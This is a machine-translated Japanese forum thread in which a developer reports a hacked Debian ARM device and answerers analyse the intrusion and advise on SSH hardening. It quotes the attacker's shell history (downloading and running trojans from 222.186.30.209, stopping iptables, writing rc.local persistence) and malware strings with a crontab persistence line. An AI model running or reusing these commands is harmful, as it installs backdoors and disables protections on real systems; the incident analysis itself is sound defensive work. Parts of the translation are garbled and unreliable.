ハッキングされたのですか?


492

私は消費者向け製品を開発していますが、インターネットに接続されることになっているので、予想どおり、適切に開発できるようにインターネットに接続されています。

私は1、2時間離れて行きましたが、オフィスに戻ったとき、ターミナルに奇妙なコマンドが書かれていることに気付きました。

というLinuxログファイルauth.logを見ると、次の行が表示されます(他にもたくさんあります)。

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IPアドレス40.127.205.162Microsoft所有していること判明しました。

ここに私が留守中に使用されたコマンドの束があります:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

もっと:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

私はこれを全く知りませんでした。製品を適切に保護するにはどうすればよいですか?

完全なauth.logファイルを投稿したいと思います。それ、どうやったら出来るの?

また、yjz1ダウンロードされたファイルはLinuxのトロイの木馬であると思われ、これはすべて、http://anti-hacker-alliance.com/index.php?ip = 40.127.205.162に従って、ある種のハッカーグループによって行われたようです。

Microsoftに電話して話をするべきですか?私は何をすべきか?


40
うん、見栄えがよくない。私は決してLinuxの専門家ではありませんが、間違いなく何かを実行しようとしました。ルートとしてログインしようとして失敗したように見えますが、どのようにすればよいのかよくわかりません。auth.logに他のログはありますか?リモート管理の他の手段はありますか?VNCサーバーを有効にしたMacがハッキングされるのをこれまで見たことがありますが、これはSSHの試みのように見えます。ダウンロード元のIPは中国のどこかでホストされているようです。
on野

68
強引に強制されました。これは、パスワードを持っている場合でも、インターネット上にsshサーバーを残さない理由です。キーベースの認証に足りないものは、最近では十分に安全ではありません。
ジャーニーマンオタク

80
さて、security.stackexchange.comがあります。しかし、まず最初に:侵害されたホストは信頼できなくなります。ネットワークから外します。可能であれば、バックアップを作成して、何がどのように行われたかを調査できるようにします。次に、クリーンなソースからOSを再インストールします。バックアップからデータを復元します。 感染しないようにシステムを保護します。彼らがどうやって入ったのかを知ることを強くお勧めします。(したがって、感染したシステムのコピーを作成することをお勧めします)。
ヘネス

84
参考までに:40.127.205.162は、GeoIPによるとMicrosoft Azureの IPアドレスです。その結果、攻撃をMicrosoftのせいにすることはできません。誰かがEC2をスパムに使用したため、Amazonを非難するのと同じです。マイクロソフトが本当にできる唯一のことは、攻撃者をAzureから追い出すことですが、彼らはすぐに別のクラウドプラットフォームに戻ってきます。
nneonneo

41
実際、これが端末で記述されている場合、ハッカーはおそらく次のキュービクルに座っています。
isanae

回答:


487

編集2

この投稿が非常に注目されている1つの理由があります。侵入者のライブセッション全体をPCで記録できたからです。これは、彼の行動の結果の発見に対処し、それらを是正しようとする日常の経験とは大きく異なります。ここでは、彼が職場にいる、彼がバックドアを確立する際にいくつかの問題を抱えている、彼のステップをたどる、熱心に仕事をしているのが見えるシステム上でマルウェアを実行させることはできません。以下をお読みください)、完全に自己完結した制御手段を展開してみてください。これは、セキュリティ研究者がハニートラップで毎日目撃しているものです。私にとって、これは非常にまれな機会であり、娯楽の源です。


あなたは間違いなくハッキングされています。この証拠は、表示したファイルのスニペットからではありません。これはauth.log、短い期間(2秒)で発生したログイン試行の失敗を報告するためです。2行目にが表示され、3行Failed password目にpre-auth切断が報告されていることがわかります。

証拠は、2つのファイルの内容から、代わりに来て http://222.186.30.209:65534/yjzhttp://222.186.30.209:65534/yjz1、攻撃者がシステムにダウンロード。

このサイトは現在、誰でもダウンロードできるようになっています。私は最初fileにそれらを走らせました:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

それから、私は持っている64ビットDebian VMにそれらを持ち込みました。stringsコマンドを介したコンテンツの検査により、疑わしいものが多数明らかになりました(さまざまな既知の攻撃、置き換えられるコマンド、新しいサービスのセットアップに明確に使用されたスクリプトなど)。

次に、両方のファイルのMD5ハッシュを作成し、それらをCymruのハッシュデータベースにフィードして、それらがマルウェアの既知のエージェントであるかどうかを確認しました。一方でyjzはない、yjz1ある、とCymruは58%のアンチウイルスソフトウェアによる検出の確率を報告します。また、このファイルは3日前に最後に見られたため、かなり最近のものであると述べています。

取得した2つのファイルでclamscanclamavパッケージの一部)を実行します。

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

そのため、標準のLinuxソフトウェアで識別できるようになりました。

あなたは何をするべきか?

どちらかと言えば新しいシステムですが、どちらも非常に新しいシステムではありません。たとえば、2015年1月のXorDdosに関する記事を参照してください。そのため、ほとんどの無料パッケージでは削除できます。:あなたは試してみてくださいclamavrkhunterchkrootkit。私はグーグルで調べましたが、彼らはそれを見つけることができると主張しているのを見ました。それらを使用して前任者の作業を確認しますが、これらの3つのプログラムを実行した後は準備ができているはずです。

より大きな質問についてはwhat should you do to prevent future infections、ジャーニーマンの答えが良い第一歩です。それは継続的な闘争であり、私を含めて私たち全員がそれを知らずに失ってしまったかもしれないことを心に留めておいてください。

編集

Viktor Tothの(間接的な)プロンプトで、いくつかコメントを追加したいと思います。侵入者がいくつかの困難に遭遇したことは確かです。彼は2つの異なるハッキングツールをダウンロードし、許可を数回変更し、数回再起動し、ファイアウォールを無効にしようと何度も試みます。何が起こっているか推測するのは簡単です:彼はハッキングツールが感染したPCの1つに向けて通信チャネルを開くことを期待し(後述)、この新しいチャネルが彼のコントロールGUIに表示されない場合、ハッキングを恐れますツールはファイアウォールでブロックされているため、インストール手順を繰り返します。私は彼の手術のこの特定の段階は期待された成果をもたらさないようであるというViktor Tothに同意しますが、私はあなたを非常に強く奨励したいと思います PCに与えられた損害の範囲を過小評価しないでください。

ここに部分的な出力を提供しますstrings yjz1

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

これにより、サービス(in /etc/init.dおよびin /etc/rc.d)、crontabの履歴ファイルmysql、、およびprocへのリンクであるいくつかのファイルbash(シェルのカスタマイズされた不正バージョンが植えられていることを示唆します)の改ざんの証拠が提供されます。次に、プログラムはHTTPリクエストを生成します(中国語を話すサイト、

 Accept-Language: zh-cn

上記のDavid Schwartzのコメントに実質を与えています)、さらに混乱を引き起こす可能性があります。リクエストでは、バイナリ(Content-Type: application/x-www-form-urlencoded)が攻撃対象のPC(GET)にダウンロードされ、制御マシン(POST)にアップロードされます。攻撃されたPCにダウンロードされるものを確立できませんでしたが、両方yjzyjz1(1.1MBと600kB)のサイズが小さいことを考えると、ルートキットをクローキングするために必要なファイルのほとんど、つまり変更されたバージョンlsnetstatpsifconfig、...、このようにダウンロードされます。そして、これは、このダウンロードを実行しようとする攻撃者の熱心な試みを説明します。

上記がすべての可能性を使い果たすという確実性はありません。トランスクリプトの一部(457行目と481行目)が確かに不足しており、ログアウトは表示されません。さらに、特に気になるのは495-497行です。

cd /tmp;  ./yd_cd/make

これはダウンロードされていないファイルを指し、コンパイルの可能性あります。もしそうなら、攻撃者は(最終的に)実行可能ファイルの問題を理解し、修正しようとしていることを意味します。攻撃されたPCは永久に消えてしまいました。[実際、攻撃者がハッキングされたマシン(および私は64ビットDebian VM)にダウンロードしたマルウェアの2つのバージョンは、x86の不適切なアーキテクチャ用であり、ハッキングされたPCの名前だけでは、彼は腕のアーキテクチャを扱っていた]。

私がこの編集を書いた理由は、あなたのシステムをプロの楽器と組み合わせるか、ゼロから再インストールするかをできる限り強く促すためです。

ところで、これが誰にとっても有用であることが判明した場合、これは接続を試みる331個の IPアドレスのリストですyjz。このリストは非常に大きいので(おそらく、さらに大きくなることになるでしょう)、これがを改ざんする理由だと思いますmysql。他のバックドアによって提供されたリストは同じですが、私は推測、(私はオープンで、情報の重要な部分を除外した理由であると考え、攻撃者はそう、カーネル形式でそれらを格納するための努力をしたいしませんでした彼はすべてのリストをクリアテキストファイルに入れました。これはおそらく、どのOSでも、バックドアのすべてによって読み込まれます)。

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

次のコード

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

上記のリストでは、合計331の住所のうち302が中国本土にあり、残りの住所は香港、モンゴル、台湾にあることが示されています。これにより、これはほとんどが中国のボットリングであるというDavid Schwartzの主張にさらなるサポートが追加されます。

編集3

@vaidのリクエスト(OPの作成者、以下のコメントを読んでください)で、基本的なLinuxシステムのセキュリティを強化する方法についてコメントを追加します(多くのサービスを提供するシステムの場合、これははるかに複雑なトピックです)。vaid彼は次のことをしたと述べています。

  1. システムを再インストールします

  2. ルートパスワードを、大文字と小文字、文字と数字が混在する16文字のパスワードに変更しました。

  3. ユーザー名を6文字の長さの混合ユーザー名に変更し、ルートに使用したものと同じパスワードを適用しました

  4. SSHポートを5000以上に変更しました

  5. SSHルートログインをオフにしました。

これは問題ありません(多くの有用なプログラムが10,000未満のポートを使用するため、10,000を超えるポートを使用することを除きます)。しかし、パスワードの代わりにssh loginに暗号鍵を使用する必要性を十分に強調することはできません。個人的な例を挙げましょう。私のVPSesの1つで、sshポートを変更するかどうか不確かでした。22のままにしておきましたが、認証に暗号キーを使用しました。私は1日何百もの侵入試行を行いましたが、どれも成功しませんでした。誰も成功しなかったことを毎日確認するのに疲れて、最終的にポートを10,000を超えるものに切り替えたとき、侵入試行はゼロになりました。ハッカーが愚かであるというわけではありません(そうではありません!)、彼らは簡単に獲物を追い詰めるだけです。

署名アルゴリズムとしてRSAを使用して暗号キーをアクティブ化するのは簡単です。以下のJan Hudecのコメントを参照してください(ありがとう!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

今やらなければならないのは、id_rsa接続したいマシンにファイルをコピーすることです(ディレクトリにあり.sshchmod700に 'edされています)。それからコマンドを発行します。

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

これが機能することを確認したら、サーバー(=接続するマシン)でファイルを編集し/etc/ssh/sshd_config、行を変更します

#PasswordAuthentication yes

PasswordAuthentication no

sshサービスを再起動します(service ssh restartまたはsystemctl restart ssh、ディストリビューションに応じて、またはこのようなもの)。

これは非常に耐えます。実際、でopenssh v2使用されてopenssh v2いるRSAの現在のバージョンに対する既知のエクスプロイトは現在ありません。

最後に、マシンを実際にボルトダウンするには、ファイアウォール(netfilter / iptables)を次のように構成する必要があります。

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

これは、1)LANとWANの両方からのssh接続を許可します、2)リクエストによって発生したすべての入力を許可します(たとえば、Webページを読み込むとき)、3)入力上の他のすべてをドロップします、4)すべてを許可します出力、および5-6)ループバックインターフェイス上のすべてを許可します。

ニーズが大きくなり、さらに多くのポートを開く必要がある場合は、リストの先頭に次のようなルールを追加することでそれを行うことができます。

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

たとえば、ユーザーがWebブラウザにアクセスできるようにします。


11
これは読んで良かった。また、yjz1Googles VirusTotal.comを介してファイルを試してみましたが、肯定的な結果が得られました。私はそれyjzがダウンロードされたことさえ見ませんでした。ありがとう。
16

34
strings信頼できないデータに対しては慎重に実行してください。lcamt​​uf.blogspot.com/2014/10/...
マットのNordhoff

5
@MattNordhoffこれを指摘してくれてありがとう、私は喜んでそれを知らなかった。ただし、私のDebianでは、「strings」コマンドは、飛行色にリンクしたテストに合格します。これは、マニュアルに次のように記述されているという事実によると思われます。- a ...通常、これはデフォルトの動作です。乾杯。
MariusMatutiae 16

32
この答えは、パラダイムであるべきアプローチを示しています。1.失敗した試行によって注意がそらされないように注意してください。2.攻撃者の成功したアクションを個別化します。3.攻撃者が何をどのように行ったかを調べます。4.すべてをゼロから、または最後の破損していない(攻撃された)バックアップからインストールし、必要な追加の保護を追加します(ポイント3)。5.他者が自分自身を保護するのを助けます(侵害された/疑わしいIPのリスト)。
ハスター

11
[@MariusMatutiaeでコメントした後に編集さ] -しかし、OPは、感染したシステム上で、ということを理解すべきであるすべての実行ファイルが、でもシェル、悪意のある考慮されなければならないlswhoまたは何か他のもの。侵害されたシステム上の実行可能ファイル(scpまたはrsync)を使用して「データを救出」すると、さらに多くのマシンが侵害される可能性があります。
ドゥブ

142

インターネットへようこそ-オープンなSSHサーバーは、徹底的に調査され、総当たり攻撃され、さまざまなin辱を受けます。

開始するには、製品のストレージを完全に消去する必要があります。フォレンジックのために渡したい場合はイメージしますが、Linuxへのインストールは疑わしいです。

ちょっとした推測ですが

  1. 総当たり攻撃を受​​けた、共通のパスワードを使用しました。あいまいさによるセキュリティですが、辞書のパスワード SSHに対して開かれたルートアカウントの使用は望ましくありません。オプションの場合はルートSSHアクセスを無効にするか、少なくとも名前を変更して両方を推測する必要があるようにします。rootとしてのSSHは、とにかくひどいセキュリティ対策です。ルートを使用する必要がある場合は、別のユーザーとしてログインし、suまたはsudoを使用して切り替えます。

  2. 製品によっては、何らかの方法でSSHアクセスをロックダウンしたい場合があります。完全なロックダウンは良いアイデアのように聞こえ、ユーザーが必要に応じて開くことができます。余裕のあるリソースに応じて、自分のサブネット内のIPアドレスのみ、またはある種のログイン調整システムのみを許可することを検討してください。最終製品で必要ない場合は、必ずオフにしてください。

  3. 非標準ポートを使用してください。隠蔽によるセキュリティは再び、それは攻撃者があなたのポートを標的にする必要があることを意味します。

  4. デフォルトのパスワードを使用しないでください。私が見た最善のアプローチは、特定のデバイスのパスワードをランダムに生成し、製品に同梱して出荷することです。ベストプラクティスはキーベースの認証ですが、マスマーケット製品でどのようにアプローチするかわかりません。


76
5.可能な場合は、公開鍵認証を使用します。パスワード認証は、はるかに安全性が低くなります。
ボブ

4
ええ、しかし、もしそれが消費者向けデバイスなら、それは選択肢ではないかもしれません。開発ボックスでは、それは素晴らしいアイデアのように聞こえます。サーバーでは、まあ、ハッキングされました; p
ジャーニーマンオタク

2
コンシューマーデバイスの場合、すべてのデバイスで同じランダムなパスワードまたはキーを使用するのも悪い考えです。シリアル番号、MAC、またはその他の識別可能な情報に基づくものです。(多くのSoHOモデム/ルーター/ WAPが見逃したと思われるもの)。
ヘネス

2
消費者向けデバイスです。ただし、対象となる消費者の大半は、SSHが何であるかを知るのに十分な教育を受けていません。そのため、SSHをオフにすることができ、おそらくオフになります。
16

2
また、fail2banを使用します
シャドゥール16

34

ああ、あなたは間違いなくハッキングされています。誰かがルート認証情報を取得して、システムにトロイの木馬をダウンロードしようとしたようです。MariusMatutiaeは、ペイロードの分析を提供しました。

2つの質問が発生します。a)攻撃者は成功しましたか?b)それについて何ができますか?

最初の質問への答えはありノーなります。攻撃者がペイロードのダウンロードと実行を繰り返し試みていることに注目してください。明らかに成功していません。何か(SELinux、perchance?)が邪魔をしたのではないかと思う。

ただし/etc/rc.d/rc.local、システムを再起動するとペイロードがアクティブになることを期待して、攻撃者もファイルを変更しました。システムをまだ再起動していない場合は、これらの変更をから削除するまで再起動しないでください/etc/rc.d/rc.local。すでに再起動している場合は...まあ、難しい運。

あなたができることに関して:最も安全なことは、システムをワイプし、ゼロから再インストールすることです。ただし、これは常にオプションとは限りません。安全性が大幅に低下するのは、何が起こったのかを正確に分析し、可能であればすべての痕跡を消去することです。繰り返しますが、システムをまだ再起動していない場合は、おそらくクリーン/etc/rc.d/rc.localで、攻撃者によってダウンロードされたものをすべて削除し、最後に、重要なパスワードを変更してください!

ただし、攻撃者が既にペイロードを実行できた場合、検出が困難になる可能性のある他の変更がシステムに存在する可能性があります。これが完全なワイプが本当に唯一の安全な(そして推奨される)オプションである理由です。あなたが示したように、問題の機器はテスト/開発のターゲットである可能性があります。

更新:可能性のある回復について書いたことにも関わらず、このペイロードによって引き起こされる潜在的な損傷と、ターゲットシステムを危険にさらす可能性のある範囲を過小評価しないよう、MariusMatutiaeの非常に強力な勧告を繰り返したいと思います。


2
ありがとう。システムを消去することにしました。数回再起動しましたが、いくつかの重要なデータをコピーするためだけです。バイナリなし、ソ​​ースコードのみ。今はかなり安全だと思います。
16

同じLANの他のボックスはどうですか?
WGroleau 16

良い質問。提供されたシェル履歴は、同じネットワーク上の他のボックスを発見および侵害する試みを示していません。より一般的には、攻撃者がボックスへのSSH(ルート)アクセスを取得した場合、基本的には、境界ファイアウォールをバイパスしたことを意味します。など、別のボックスから、未パッチの脆弱性のような何か他のものが必要になるというボックス間で共有パスワード、自動ログイン:しかし、それは自動的に他のボックスが危険にさらされていることを意味するものではありません
ヴィクトル・トス

18

私のsshd-honeypotもこの種の攻撃を見ました。そのURLからの最初のダウンロードは2016-01-29 10:25:33から始まり、攻撃はまだ進行中です。攻撃は/から来ました

103.30.4.212
111.68.6.170
118.193.228.169

これらの攻撃者からの入力は次のとおりです。

サービスiptables停止
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2>&1&
chmod 0777 yjz1
chmod u + x yjz1
./yjz1&
chmod u + x yjz1
./yjz1&
cd / tmp

したがって、後からバックドアをインストールする以外のアクティビティはありません。


同意して、それは同じMOです。
MariusMatutiae 16

1
@MariusMatutiaeそれでは、これは手動のハックではありませんか?何らかの自己拡散ワーム/ボットですか?
NickG

1
@NickG私の最良の推測は、これは手動のハックではなかったということです。vaidが中国ベースのボットネットの発信者と同じオフィスで機能する可能性はどのくらいですか?誰かが自分のマシンに悪用可能な脆弱性を発見しました。ほとんどの場合、セキュリティで保護されていないsshサーバー、パスワードのブルートフォース、アクセス、不正なインストールを試みました。ただし、攻撃者はLinuxよりもWindowsの方が流thatであると確信しています。しかし、私はこれについて確固たる証拠はなく、単なる知識に基づいた推測です。
MariusMatutiae

12

ここでは誰もが堅実なアドバイスを提供していますが、明確にするために、優先順位を付けてそのシステムから本当に必要なものを確認し、既知の安全なメディアからの新規インストールでそれを消去する必要があります。

新しくインストールしたホストをインターネットに接続する前に、次のアイデアを実行してください。

  1. 新しい非rootユーザーを作成し、そのユーザーとしてログインします。rootとしてログインする必要は決してなく、必要に応じてsudo(代替ユーザーが行う)だけにしてください。

  2. SE Linuxのインストール、必須アクセス制御を有効にする構成設定:https : //wiki.debian.org/SELinux/Setup

  3. オフィス/自宅とインターネット間のハードウェアファイアウォールを検討してください。私はMicroTikを使用しています。MicroTikには優れたコミュニティサポートがあります:http ://routerboard.com/ 。

あなたがあなたの有料の仕事を完了するためのタイムラインにいると仮定して、少なくとも#1をしてください。#3は高速で安価ですが、郵便で荷物を待つか、店に行く必要があります。


3
そして、何よりも、PCをオープンルートセッションで無人で実行したままにしないでください!
MariusMatutiae 16

11
  1. あるのdebian-armhfはあなたのホスト名?または、デフォルト設定でデフォルトインストールを使用しますか?これには問題はありませんが、ホストがインターネットに直接さらされることを許可しないでください(つまり、少なくともモデムで保護されていません)。

  2. 実際の問題は222.186.30.209から発生しているようですhttp://anti-hacker-alliance.com/index.php?ip=222.186.30.209を参照)。MicrosoftのIPを見ることにあまり注意を払ってはいけません。IPは、多少なりとも簡単に偽装/なりすましができます。

